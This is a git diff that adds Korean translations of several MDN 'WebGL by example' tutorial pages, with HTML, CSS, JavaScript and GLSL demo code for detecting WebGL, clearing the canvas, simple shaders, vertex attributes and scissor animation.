diff --git a/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html
new file mode 100644
index 0000000000..c79b2f508d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/clearing_by_clicking/index.html
@@ -0,0 +1,110 @@
+---
+title: 클릭을 통한 청소
+slug: Web/API/WebGL_API/By_example/Clearing_by_clicking
+translation_of: Web/API/WebGL_API/By_example/Clearing_by_clicking
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}</p>
+
+<div id="clearing-by-clicking">
+<div class="summary">
+<p>어떻게 유저와 그래픽 기능들과의 상호작용을 결합시킬까. 유저가 클릭을 할 때 랜덤의 색을 가진 랜더링 컨텍스트를 청소하는 것.</p>
+</div>
+
+<p>{{EmbedLiveSample("clearing-by-clicking-source",660,425)}}</p>
+
+<div id="clearing-by-clicking-intro">
+<h3 id="랜덤_색을_가진_랜더링_컨텍스트를_청소">랜덤 색을 가진 랜더링 컨텍스트를 청소</h3>
+
+<p>이 간단한 예시는 어떻게 유저 인터페이스와 {{Glossary("WebGL")}}를 결합할지에 대한 설명을 제공합니다. 유저가 캔버스 혹은 버튼을 클릭할 때 마다, 캔버스는 랜덤으로 선택된 색으로 초기화됩니다.</p>
+
+<p>어떻게 내장된 {{Glossary("WebGL")}} 기능이 이벤트 핸들러의 내부를 부르는 지를 주목하세요. </p>
+</div>
+
+<div id="clearing-by-clicking-source">
+<pre class="brush: html">&lt;p&gt;A very simple WebGL program that still shows some color and
+ user interaction.&lt;/p&gt;
+&lt;p&gt;You can repeatedly click the empty canvas or the button below
+ to change color.&lt;/p&gt;
+&lt;canvas id="canvas-view"&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+&lt;button id="color-switcher"&gt;Press here to switch color&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ display : block;
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : inline-block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">window.addEventListener("load", function setupWebGL (evt) {
+ "use strict"
+
+ // Cleaning after ourselves. The event handler removes
+ // itself, because it only needs to run once.
+ window.removeEventListener(evt.type, setupWebGL, false);
+
+ // Adding the same click event handler to both canvas and
+ // button.
+ var canvas = document.querySelector("#canvas-view");
+ var button = document.querySelector("#color-switcher");
+ canvas.addEventListener("click", switchColor, false);
+ button.addEventListener("click", switchColor, false);
+
+ // A variable to hold the WebGLRenderingContext.
+ var gl;
+
+ // The click event handler.
+ function switchColor () {
+ // Referring to the externally defined gl variable.
+ // If undefined, try to obtain the WebGLRenderingContext.
+ // If failed, alert user of failure.
+ // Otherwise, initialize the drawing buffer (the viewport).
+ if (!gl) {
+ gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ if (!gl) {
+ alert("Failed to get WebGL context.\n"
+ + "Your browser or device may not support WebGL.");
+ return;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ }
+ // Get a random color value using a helper function.
+ var color = getRandomColor();
+ // Set the clear color to the random color.
+ gl.clearColor(color[0], color[1], color[2], 1.0);
+ // Clear the context with the newly set color. This is
+ // the function call that actually does the drawing.
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ }
+
+ // Random color helper function.
+ function getRandomColor() {
+ return [Math.random(), Math.random(), Math.random()];
+ }
+
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/clearing-by-clicking">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_with_colors","Learn/WebGL/By_example/Simple_color_animation")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html
new file mode 100644
index 0000000000..087a614d5d
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/detect_webgl/index.html
@@ -0,0 +1,72 @@
+---
+title: WebGL 찾기
+slug: Web/API/WebGL_API/By_example/Detect_WebGL
+translation_of: Web/API/WebGL_API/By_example/Detect_WebGL
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}</p>
+
+<div id="detect-webgl">
+<div class="summary">
+<p>이 예시는 어떻게 {{Glossary("WebGL")}} 랜더링 컨텐츠를 찾고, 유저에게 결과를 보고할지를 보여줍니다.</p>
+</div>
+
+<p>{{EmbedLiveSample("detect-webgl-source",660,150)}}</p>
+
+<div id="detect-webgl-intro">
+<h3 id="기능-검색_WebGl">기능-검색 WebGl</h3>
+
+<p>이 첫 예시에서, 우리는 브라우저가 {{Glossary("WebGL")}}를 지원하는지 아닌 지를 확인합니다. 우리는 {{domxref("HTMLCanvasElement","canvas")}} element로 부터 {{domxref("WebGLRenderingContext","WebGL rendering context","",1)}}을 얻기 위하여 노력합니다. {{domxref("WebGLRenderingContext","WebGL rendering context", "", 1)}}는 당신이 설정하고 그래픽 기계의 상태를 쿼리하고, WebGl에 데이터를 전송하고, 그리기 명령어들을 실행할 수 있는 인터페이스입니다.</p>
+
+<p>한 문장 인터페이스에서 그래픽 기계의 상태를 저장하는 것은 {{Glossary("WebGL")}}에 고유하지 않습니다. 이것은 또한 다른 그래픽 {̣{Glossary("API")}}, {{domxref("CanvasRenderingContext2D","canvas 2D rendering context", "", 1)}}에 의해 행해집니다. 하지만 특성과 당신이 만드는 변수들은 각 {̣{Glossary("API")}}에서 다를 수 있습니다.</p>
+</div>
+
+<div id="detect-webgl-source">
+<pre class="brush: html">&lt;p&gt;[ Here would go the result of WebGL feature detection ]&lt;/p&gt;
+&lt;button&gt;Press here to detect WebGLRenderingContext&lt;/button&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+button {
+ display : block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+
+<pre class="brush: js">// Run everything inside window load event handler, to make sure
+// DOM is fully loaded and styled before trying to manipulate it.
+window.addEventListener("load", function() {
+ var paragraph = document.querySelector("p"),
+ button = document.querySelector("button");
+ // Adding click event handler to button.
+ button.addEventListener("click", detectWebGLContext, false);
+ function detectWebGLContext () {
+ // Create canvas element. The canvas is not added to the
+ // document itself, so it is never displayed in the
+ // browser window.
+ var canvas = document.createElement("canvas");
+ // Get WebGLRenderingContext from canvas element.
+ var gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ // Report the result.
+ if (gl &amp;&amp; gl instanceof WebGLRenderingContext) {
+ paragraph.innerHTML =
+ "Congratulations! Your browser supports WebGL.";
+ } else {
+ paragraph.innerHTML = "Failed to get WebGL context. "
+ + "Your browser or device may not support WebGL.";
+ }
+ }
+}, false);
+</pre>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/detect-webgl">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example","Learn/WebGL/By_example/Clearing_with_colors")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html
new file mode 100644
index 0000000000..45541f1a0b
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/hello_glsl/index.html
@@ -0,0 +1,168 @@
+---
+title: Hello GLSL
+slug: Web/API/WebGL_API/By_example/Hello_GLSL
+translation_of: Web/API/WebGL_API/By_example/Hello_GLSL
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}</p>
+
+<div id="hello-glsl">
+<div class="summary">
+<p id="hello-glsl-summary">매우 간단한 색이 있는 단단한 사각형을 그려주는 쉐이더 프로그램</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예시는 대부분 모든 최신의 데스크탑 브라우저에서 동작합니다. 하지만 어떤 모바일 혹은 낡은 브라우저에서는 동작하지 않습니다. 만약 캔버스가 공백인 상태로 남아있다면, 당신은 정확히 똑같은 것을 그리는 다음 예시의 결과를 확인하실 수 있습니다. 하지만 다음으로 넘어가기 전에, 여기서 설명과 코드를 읽고 가는 것을 기억하세요</p>
+</div>
+
+<p>{{EmbedLiveSample("hello-glsl-source",660,425)}}</p>
+
+<div id="hello-glsl-intro">
+<h3 id="Hello_World_프로그램_in_GLSL">Hello World 프로그램 in GLSL</h3>
+
+<p>매우 간단한 첫 쉐이더 프로그램</p>
+</div>
+
+<div id="hello-glsl-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;Hello World! Hello GLSL!&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+void main() {
+ gl_Position = vec4(0.0, 0.0, 0.0, 1.0);
+ gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+void main() {
+ gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+ program;
+function setupWebGL (evt) {
+ window.removeEventListener(evt.type, setupWebGL, false);
+ if (!(gl = getRenderingContext()))
+ return;
+
+ var source = document.querySelector("#vertex-shader").innerHTML;
+ var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+ gl.shaderSource(vertexShader,source);
+ gl.compileShader(vertexShader);
+ source = document.querySelector("#fragment-shader").innerHTML
+ var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+ gl.shaderSource(fragmentShader,source);
+ gl.compileShader(fragmentShader);
+ program = gl.createProgram();
+ gl.attachShader(program, vertexShader);
+ gl.attachShader(program, fragmentShader);
+ gl.linkProgram(program);
+ gl.detachShader(program, vertexShader);
+ gl.detachShader(program, fragmentShader);
+ gl.deleteShader(vertexShader);
+ gl.deleteShader(fragmentShader);
+ if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+ var linkErrLog = gl.getProgramInfoLog(program);
+ cleanup();
+ document.querySelector("p").innerHTML =
+ "Shader program did not link successfully. "
+ + "Error log: " + linkErrLog;
+ return;
+ }
+
+ initializeAttributes();
+
+ gl.useProgram(program);
+ gl.drawArrays(gl.POINTS, 0, 1);
+
+ cleanup();
+}
+
+var buffer;
+function initializeAttributes() {
+ gl.enableVertexAttribArray(0);
+ buffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+ gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+function cleanup() {
+gl.useProgram(null);
+if (buffer)
+ gl.deleteBuffer(buffer);
+if (program)
+ gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+ var canvas = document.querySelector("canvas");
+ canvas.width = canvas.clientWidth;
+ canvas.height = canvas.clientHeight;
+ var gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ if (!gl) {
+ var paragraph = document.querySelector("p");
+ paragraph.innerHTML = "Failed to get WebGL context."
+ + "Your browser or device may not support WebGL.";
+ return null;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ gl.clearColor(0.0, 0.0, 0.0, 1.0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-glsl">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Raining_rectangles","Learn/WebGL/By_example/Hello_vertex_attributes")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html
new file mode 100644
index 0000000000..6d4ad29fe1
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/hello_vertex_attributes/index.html
@@ -0,0 +1,181 @@
+---
+title: Hello vertex attributes
+slug: Web/API/WebGL_API/By_example/Hello_vertex_attributes
+translation_of: Web/API/WebGL_API/By_example/Hello_vertex_attributes
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}</p>
+
+<div id="hello-vertex-attributes">
+<div class="summary">
+<p id="hello-vertex-attributes-summary">쉐이더 프로그래밍과 유저 인터페이스를 정점 속성을 이용하여 합치기.</p>
+</div>
+
+<p>{{EmbedLiveSample("hello-vertex-attributes-source",660,425)}}</p>
+
+<div id="hello-vertex-attributes-intro">
+<h3 id="Hello_World_program_in_GLSL">Hello World program in GLSL</h3>
+
+<p>어떻게 GPU 메모리에 데이터를 저장함으로써 쉐이더 프로그램에 입력 값을 넣을 수 있을까? </p>
+</div>
+
+<div id="hello-vertex-attributes-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;First encounter with attributes and sending data to GPU. Click
+on the canvas to change the horizontal position of the square.&lt;/p&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;script type="x-shader/x-vertex" id="vertex-shader"&gt;
+#version 100
+precision highp float;
+
+attribute float position;
+
+void main() {
+ gl_Position = vec4(position, 0.0, 0.0, 1.0);
+ gl_PointSize = 64.0;
+}
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script type="x-shader/x-fragment" id="fragment-shader"&gt;
+#version 100
+precision mediump float;
+void main() {
+ gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0);
+}
+&lt;/script&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupWebGL, false);
+var gl,
+ program;
+function setupWebGL (evt) {
+ window.removeEventListener(evt.type, setupWebGL, false);
+ if (!(gl = getRenderingContext()))
+ return;
+
+ var source = document.querySelector("#vertex-shader").innerHTML;
+ var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+ gl.shaderSource(vertexShader,source);
+ gl.compileShader(vertexShader);
+ source = document.querySelector("#fragment-shader").innerHTML
+ var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+ gl.shaderSource(fragmentShader,source);
+ gl.compileShader(fragmentShader);
+ program = gl.createProgram();
+ gl.attachShader(program, vertexShader);
+ gl.attachShader(program, fragmentShader);
+ gl.linkProgram(program);
+ gl.detachShader(program, vertexShader);
+ gl.detachShader(program, fragmentShader);
+ gl.deleteShader(vertexShader);
+ gl.deleteShader(fragmentShader);
+ if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
+ var linkErrLog = gl.getProgramInfoLog(program);
+ cleanup();
+ document.querySelector("p").innerHTML =
+ "Shader program did not link successfully. "
+ + "Error log: " + linkErrLog;
+ return;
+ }
+
+ initializeAttributes();
+ gl.useProgram(program);
+ gl.drawArrays(gl.POINTS, 0, 1);
+
+ document.querySelector("canvas").addEventListener("click",
+ function (evt) {
+ var clickXrelativToCanvas =
+ evt.pageX - evt.target.offsetLeft;
+ var clickXinWebGLCoords =
+ 2.0 * (clickXrelativToCanvas- gl.drawingBufferWidth/2)
+ / gl.drawingBufferWidth;
+ gl.bufferData(gl.ARRAY_BUFFER,
+ new Float32Array([clickXinWebGLCoords]), gl.STATIC_DRAW);
+ gl.drawArrays(gl.POINTS, 0, 1);
+ }, false);
+}
+
+var buffer;
+function initializeAttributes() {
+ gl.enableVertexAttribArray(0);
+ buffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+ gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0]), gl.STATIC_DRAW);
+ gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0, 0);
+}
+
+window.addEventListener("beforeunload", cleanup, true);
+function cleanup() {
+ gl.useProgram(null);
+ if (buffer)
+ gl.deleteBuffer(buffer);
+ if (program)
+ gl.deleteProgram(program);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+ var canvas = document.querySelector("canvas");
+ canvas.width = canvas.clientWidth;
+ canvas.height = canvas.clientHeight;
+ var gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ if (!gl) {
+ var paragraph = document.querySelector("p");
+ paragraph.innerHTML = "Failed to get WebGL context."
+ + "Your browser or device may not support WebGL.";
+ return null;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ gl.clearColor(0.0, 0.0, 0.0, 1.0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/hello-vertex-attributes">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Hello_GLSL","Learn/WebGL/By_example/Textures_from_code")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/index.html b/files/ko/web/api/webgl_api/by_example/index.html
new file mode 100644
index 0000000000..c7fd3dcd4a
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/index.html
@@ -0,0 +1,83 @@
+---
+title: WebGL by example
+slug: Web/API/WebGL_API/By_example
+tags:
+ - Beginner
+ - Example
+ - Graphics
+ - Learn
+ - NeedsTranslation
+ - TopicStub
+ - WebGL
+translation_of: Web/API/WebGL_API/By_example
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{Next("Learn/WebGL/By_example/Detect_WebGL")}}</p>
+
+<div id="webgl-by-example">
+<div class="summary">
+<p><em>WebGL by example</em> is a series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</p>
+</div>
+
+<div id="webgl-by-example-big-list">
+<h2 id="Examples_by_topic">Examples by topic</h2>
+
+<p>The examples are sorted in order of increasing difficulty. But rather than just presenting them in a single long list, they are additionally divided into topics. Sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.</p>
+
+<p>Instead of trying to juggle shaders, geometry, and working with {{Glossary("GPU")}} memory, already in the first program, the examples here explore WebGL in an incremental way. We believe that it leads to a more effective learning experience and ultimately a deeper understanding of the underlying concepts.</p>
+
+<p>Explanations about the examples are found in both the main text and in comments within the code. You should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.</p>
+
+<div>
+<h3 id="Getting_to_know_the_rendering_context">Getting to know the rendering context</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Detect_WebGL">Detect WebGL</a></dt>
+ <dd>This example demonstrates how to detect a {{Glossary("WebGL")}} rendering context and reports the result to the user.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Clearing_with_colors">Clearing with colors</a></dt>
+ <dd>How to clear the rendering context with a solid color.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Clearing_by_clicking">Clearing by clicking</a></dt>
+ <dd>How to combine user interaction with graphics operations. Clearing the rendering context with a random color when the user clicks.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Simple_color_animation">Simple color animation</a></dt>
+ <dd>A very basic color animation, done by clearing the {{Glossary("WebGL")}} drawing buffer with a different random color every second.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Color_masking">Color masking</a></dt>
+ <dd>Modifying random colors by applying color masking and thus limiting the range of displayed colors to specific shades.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Basic_scissoring">Basic scissoring</a></dt>
+ <dd>How to draw simple rectangles and squares with scissoring operations.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Canvas_size_and_WebGL">Canvas size and WebGL</a></dt>
+ <dd>The example explores the effect of setting (or not setting) the canvas size to its element size in {{Glossary("CSS")}} pixels, as it appears in the browser window.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Boilerplate_1">Boilerplate 1</a></dt>
+ <dd>The example describes repeated pieces of code that will be hidden from now on, as well as defining a JavaScript utility function to make WebGL initialization easier.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Scissor_animation">Scissor animation</a></dt>
+ <dd>Some animation fun with scissoring and clearing operations.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Raining_rectangles">Raining rectangles</a></dt>
+ <dd>A simple game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.</dd>
+</dl>
+</div>
+
+<div>
+<h3 id="Shader_programming_basics">Shader programming basics</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Hello_GLSL">Hello GLSL</a></dt>
+ <dd>A very basic shader program that draws a solid color square.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Hello_vertex_attributes">Hello vertex attributes</a></dt>
+ <dd>Combining shader programming and user interaction through vertex attributes.</dd>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Textures_from_code">Textures from code</a></dt>
+ <dd>A simple demonstration of procedural texturing with fragment shaders.</dd>
+</dl>
+</div>
+
+<div>
+<h3 id="Miscellaneous_advanced_examples">Miscellaneous advanced examples</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/WebGL/By_example/Video_textures">Video textures</a></dt>
+ <dd>This example demonstrates how to use video files as textures.</dd>
+</dl>
+</div>
+</div>
+</div>
+
+<p>{{Next("Learn/WebGL/By_example/Detect_WebGL")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html
new file mode 100644
index 0000000000..1b3748c9bc
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/scissor_animation/index.html
@@ -0,0 +1,166 @@
+---
+title: 애니메이션 잘라내기
+slug: Web/API/WebGL_API/By_example/Scissor_animation
+translation_of: Web/API/WebGL_API/By_example/Scissor_animation
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}</p>
+
+<div id="scissor-animation">
+<div class="summary">
+<p>활동을 청소하고 잘라내는 어떤 애니메이션 장난</p>
+</div>
+
+<p>{{EmbedLiveSample("scissor-animation-source",660,425)}}</p>
+
+<div>
+<h3 id="애니메이션_잘라내기">애니메이션 잘라내기</h3>
+
+<p>이번 예시에서는, 우리는 사각형을 {{domxref("WebGLRenderingContext.scissor()","scissor()")}} 와{{domxref("WebGLRenderingContext.clear()","clear()")}} 을 이용하여 그려볼 것입니다. 우리는 다시 애니메이션 루프를 타이머를 이용하여 구축할 것입니다. 이번에는 매 프레임(우리는 프레임 비율을 대강 매 17ms 마다 설정했습니다.) 대마다 업데이트 되는 사각형(잘라내는 영역)의 경우임을 주목하세요.</p>
+
+<p>반대로, 사각형의 색 ({{domxref("WebGLRenderingContext.clearColor()","clearColor")}}으로 설정되는)은 오직 새로운 사각형이 생성될 때만 업데이트 됩니다. 이것은 상태 머신으로써 {{Glossary("WebGL")}} 을 보여줄 좋은 데모입니다. 각 사각형에 대하여 우리는 그것의 색을 결정하고, 매 프레임마다 위치를 결정합니다. WebGl의 깨끗한 색 상태는 새로운 사각형이 생성되어 우리가 그것을 다시 바꿀 때까지 설정 값으로 남아있습니다.</p>
+</div>
+
+<div id="scissor-animation-source">
+<div class="hidden">
+<pre class="brush: html">&lt;p&gt;WebGL animation by clearing the drawing buffer with solid
+color and applying scissor test.&lt;/p&gt;
+&lt;button id="animation-onoff"&gt;
+ Press here to
+&lt;strong&gt;[verb goes here]&lt;/strong&gt;
+ the animation&lt;/button&gt;
+</pre>
+
+<pre class="brush: html">&lt;canvas&gt;Your browser does not seem to support
+ HTML5 canvas.&lt;/canvas&gt;
+</pre>
+
+<pre class="brush: css">body {
+ text-align : center;
+}
+canvas {
+ display : block;
+ width : 280px;
+ height : 210px;
+ margin : auto;
+ padding : 0;
+ border : none;
+ background-color : black;
+}
+button {
+ display : block;
+ font-size : inherit;
+ margin : auto;
+ padding : 0.6em;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">;(function(){
+</pre>
+</div>
+
+<pre class="brush: js" id="livesample-js">"use strict"
+window.addEventListener("load", setupAnimation, false);
+// Variables to hold the WebGL context, and the color and
+// position of animated squares.
+var gl,
+ color = getRandomColor(),
+ position;
+
+function setupAnimation (evt) {
+ window.removeEventListener(evt.type, setupAnimation, false);
+ if (!(gl = getRenderingContext()))
+ return;
+
+ gl.enable(gl.SCISSOR_TEST);
+ gl.clearColor(color[0], color[1], color[2], 1.0);
+ // Unlike the browser window, vertical position in WebGL is
+ // measured from bottom to top. In here we set the initial
+ // position of the square to be at the top left corner of the
+ // drawing buffer.
+ position = [0, gl.drawingBufferHeight];
+
+ var button = document.querySelector("button");
+ var timer;
+ function startAnimation(evt) {
+ button.removeEventListener(evt.type, startAnimation, false);
+ button.addEventListener("click", stopAnimation, false);
+ document.querySelector("strong").innerHTML = "stop";
+ timer = setInterval(drawAnimation, 17);
+ drawAnimation();
+ }
+ function stopAnimation(evt) {
+ button.removeEventListener(evt.type, stopAnimation, false);
+ button.addEventListener("click", startAnimation, false);
+ document.querySelector("strong").innerHTML = "start";
+ clearInterval(timer);
+ }
+ stopAnimation({type: "click"});
+}
+
+// Variables to hold the size and velocity of the square.
+var size = [60, 60],
+ velocity = 3.0;
+function drawAnimation () {
+ gl.scissor(position[0], position[1], size[0] , size[1]);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ // Every frame the vertical position of the square is
+ // decreased, to create the illusion of movement.
+ position[1] -= velocity;
+ // When the sqaure hits the bottom of the drawing buffer,
+ // we override it with new square of different color and
+ // velocity.
+ if (position[1] &lt; 0) {
+ // Horizontal position chosen randomly, and vertical
+ // position at the top of the drawing buffer.
+ position = [
+ Math.random()*(gl.drawingBufferWidth - size[0]),
+ gl.drawingBufferHeight
+ ];
+ // Random velocity between 1.0 and 7.0
+ velocity = 1.0 + 6.0*Math.random();
+ color = getRandomColor();
+ gl.clearColor(color[0], color[1], color[2], 1.0);
+ }
+}
+
+function getRandomColor() {
+ return [Math.random(), Math.random(), Math.random()];
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">function getRenderingContext() {
+ var canvas = document.querySelector("canvas");
+ canvas.width = canvas.clientWidth;
+ canvas.height = canvas.clientHeight;
+ var gl = canvas.getContext("webgl")
+ || canvas.getContext("experimental-webgl");
+ if (!gl) {
+ var paragraph = document.querySelector("p");
+ paragraph.innerHTML = "Failed to get WebGL context."
+ + "Your browser or device may not support WebGL.";
+ return null;
+ }
+ gl.viewport(0, 0,
+ gl.drawingBufferWidth, gl.drawingBufferHeight);
+ gl.clearColor(0.0, 0.0, 0.0, 1.0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ return gl;
+}
+</pre>
+</div>
+
+<div class="hidden">
+<pre class="brush: js">})();
+</pre>
+</div>
+
+<p>The source code of this example is also available on <a href="https://github.com/idofilin/webgl-by-example/tree/master/scissor-animation">GitHub</a>.</p>
+</div>
+</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Boilerplate_1","Learn/WebGL/By_example/Raining_rectangles")}}</p>
diff --git a/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html
new file mode 100644
index 0000000000..a2e70de77c
--- /dev/null
+++ b/files/ko/web/api/webgl_api/by_example/simple_color_animation/index.html
@@ -0,0 +1,125 @@
+---
+title: 간단한 색깔 애니메이션
+slug: Web/API/WebGL_API/By_example/Simple_color_animation
+translation_of: Web/API/WebGL_API/By_example/Simple_color_animation
+---
+<div>{{IncludeSubnav("/en-US/Learn")}}</div>
+
+<p>{{PreviousNext("Learn/WebGL/By_example/Clearing_by_clicking","Learn/WebGL/By_example/Color_masking")}}</p>
+
+<div id="simple-color-animation">
+<div class="summary">
+<p>{{Glossary("WebGL")}} 를 청소함으로써 매 초 마다 랜덤 색이 버퍼에 그려지는 매우 기본적인 색깔 애니메이션.</p>
